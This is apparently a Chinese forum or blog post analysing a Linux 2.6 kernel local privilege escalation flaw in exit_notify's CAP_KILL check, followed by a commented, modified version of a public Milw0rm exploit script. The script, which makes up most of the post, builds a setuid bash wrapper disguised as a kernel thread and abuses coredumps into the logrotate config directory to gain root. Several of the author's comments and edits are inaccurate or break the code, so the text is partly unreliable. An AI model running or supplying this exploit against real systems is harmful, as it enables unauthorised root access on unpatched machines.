Linux 内核 CAPKILL 校验本地提权漏洞分析

绿盟七号发出的公告:http://www.nsfocus.net/vulndb/13188

Milw0rm 八号发出的EXP:http://www.milw0rm.com/exploits/8369

基本上通杀 2.6.29 以下的 2.6 内核版本了。

kernel/exit.c 文件中的 exitnotify() 函数没有正确地检查 CAPKILL 功能,如果本地用户在退出前执行了 setuid 应用程序就会导致没有将信号重置为 SIGCHLD,绕过其他检查获得权限提升。

exit.c 关键代码:

if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
     (tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
           tsk->self_exec_id != tsk->parent_exec_id) &&
               !capable(CAP_KILL))
                 tsk->exit_signal = SIGCHLD;

Milw0rm 的那个 EXP 有问题,我修改后加了注释:

#!/bin/sh

SUIDDUMP=cat /proc/sys/fs/suid_dumpable
# suid_dumpable 的内容默认是 0,必须是 1 或者 2
if [ $SUIDDUMP -lt 1 ]; then            # 判断 /proc/sys/fs/suid_dumpable 的内容是否小于 1
/sbin/sysctl -w fs.suid_dumpable=1    # 修改 fs.suid_dumpable 的内容为 1
fi
if [ -d /etc/logrotate.d ]; then  # 判断目录是否存在
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi

echo -e "Compiling the bash setuid() wrapper..."
cd tmp
cat >> .m.c << EOF   # 创建 .m.c 文件,下面就是 .m.c 的内容
#include <unistd.h>
#include <sys/types.h>

int main()
{
    setuid(0);  # 执行了 setuid 就会导致没有将信号重置为 SIGCHLD,绕过其他检查获得权限提升
        execl("/bin/bash","[kthreadd]",NULL); # 将 /bin/bash 加到二号线程里
        }
        EOF

cc /tmp/.m.c -o /tmp/.m     # 编译
rm /tmp/.m.c    # 删除源文件

echo -e "Compiling the exploit code..."
cd /tmp
cat >> exploit.c << EOF        # 创建源文件
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int child(void *data)
{
    sleep(2);   # 线程 2 进入睡眠状态
        printf("I'm gonna kill the suidroot father without having root rights :D\n");
            execl("/usr/bin/gpasswd","%s",NULL);
                exit(0);    # 结束进程
                }

int main()
{
    int stacksize = 4*getpagesize(); # 4KB 的栈大小
        void *stack, *stacktop;
            stack = malloc(stacksize);    # 分配 16KB 大小栈
                stacktop = stack + stacksize; # stacktop=32KB
                    chdir("/etc/logrotate.d");  # 转到 /etc/logrotate.d 目录下
                        int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL); # 创建子进程共享父进程。共享相同的文件描述符和信号处理
                            if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
                            }
                            EOF

cc /tmp/exploit.c -o /tmp/.ex   # 编译成 .ex
rm /tmp/exploit.c     # 删除源文件

echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000 # 设置资源极限
touch /tmp/.a # 创建一个 .a 文件
/tmp/.ex >/dev/null 2>/dev/null # 错误定向到 /dev/null
sleep 5 # 阻塞
rm /tmp/.ex # 删除 .ex

if [ -e /etc/logrotate.d/core ]; then   # 这里有疑问了,没有找到 core 文件的存在
touch /etc/logrotate.d/core   # 加句话,创建一个 core 文件
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi

echo "The system is not vulnerable, sorry :("

等待 24 小时后,计划任务 cron.daily 执行,然后再运行 /tmp/.m 提权。

这个洞洞很多地方没搞透,大家一起来讨论讨论这个洞洞的整个过程。